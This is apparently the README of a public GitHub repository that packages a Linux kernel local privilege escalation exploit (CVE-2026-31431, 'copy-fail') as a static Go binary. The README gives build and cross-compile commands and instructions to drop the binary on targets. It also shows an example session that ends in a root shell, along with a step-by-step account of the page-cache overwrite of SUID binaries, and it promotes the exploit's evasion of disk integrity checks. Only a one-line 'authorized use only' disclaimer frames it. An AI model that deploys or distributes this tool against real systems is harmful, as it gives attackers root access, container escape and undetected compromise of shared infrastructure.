copy-fail-go

Go port of grenkoca's Python PoC for CVE-2026-31431 (copy-fail).

This version compiles to a fully static binary with zero runtime dependencies - no Python, no pip, no libc version constraints. Drop it on any Linux target and run it. It also automatically enumerates all SUID world-readable binaries on the target and lets you choose which one to exploit interactively.

For authorized security research and CTF use only.

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What is CVE-2026-31431 (copy-fail)?

Discovered by Theori and publicly disclosed April 29, 2026, Copy.Fail is a logic flaw in the Linux kernel's algif_aead crypto module introduced through a 2017 optimization. It affects every mainstream Linux distribution since 2017.

By manipulating the kernel's AF_ALG crypto interface, an unprivileged attacker can write controlled data directly into the Linux page cache - the in-memory representation of trusted system binaries. This allows temporarily hijacking binaries like /usr/bin/su without modifying the file on disk, making disk-based forensics blind to the attack.

Unlike many LPE flaws that depend on race conditions or kernel address leaks, Copy.Fail is highly reliable and works consistently with only a standard user account.

Impact:

• Normal user → root on any affected system
• Container escape to host
• CI/CD job roots its runner
• Shared/multi-tenant infrastructure compromised across tenants
• No on-disk file modification (evades integrity checks)

Affected kernels: Every distribution since 2017. See grenkoca's original PoC for the specific version range.

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Differences from the original Python PoC

	Original (Python)	This repo (Go)
Language	Python 3	Go 1.21+
Target	Hardcoded /usr/bin/su	Auto-detected from live filesystem scan
Target selection	None	Interactive numbered menu
Distribution	Script	Single static binary (no runtime deps)

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Requirements

• Linux kernel in the affected version range
• A SUID world-readable binary present on the target (the tool will find them)
• No special privileges required to run

Build dependencies (on your build machine)

Tool	Version
Go	1.21+

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Building

Native Linux build

git clone https://github.com/3jee/copy-fail-go
cd copy-fail-go
go build -o copy-fail .

Cross-compile from macOS or Windows (targeting Linux x86-64)

GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s -w" -o copy-fail .

The -s -w flags strip debug info to reduce binary size. CGO_ENABLED=0 produces a fully static binary with no libc dependency - drop it on any Linux target regardless of glibc version.

Other architectures

Target	Command
Linux ARM64	GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -o copy-fail .
Linux 32-bit x86	GOOS=linux GOARCH=386 CGO_ENABLED=0 go build -o copy-fail .

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Usage

Transfer the binary to the target and execute it (no root required):

./copy-fail

Example session:

CVE-2026-31431 (copy-fail) - Go PoC
Based on grenkoca's original PoC

Scanning for SUID world-readable binaries...

SUID world-readable binaries found:
------------------------------------
  [1] /usr/bin/su
  [2] /usr/bin/sudo
  [3] /usr/bin/passwd
  [4] /usr/bin/newgrp

Select target [1-4]: 1

[*] Targeting: /usr/bin/su
[*] Writing 48 bytes to /usr/bin/su...
[+] Write complete. Executing target...
# whoami
root

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How it works

1. Opens the target SUID binary with O_RDONLY - no write permission needed.
2. Creates an AF_ALG (SOCK_SEQPACKET) socket bound to the authencesn(hmac(sha256),cbc(aes)) AEAD transform.
3. Sends a crafted sendmsg with MSG_MORE and SOL_ALG control messages to queue a crypto operation against the target file's page cache entry.
4. Uses splice(2) to move pages from the file into the ALG socket, triggering the vulnerable kernel path that writes back modified page cache pages without re-checking file permissions.
5. Repeats for each 4-byte chunk of the payload.
6. Executes the patched binary.

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Credits

• grenkoca - original Python PoC
• Theori - vulnerability discovery
• This repo is an unminified Go port with automatic target enumeration

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References

• OVHcloud: Copy.Fail - How to Rapidly Protect MKS Clusters from the Linux Kernel Zero-Day
• grenkoca's original Python PoC (gist)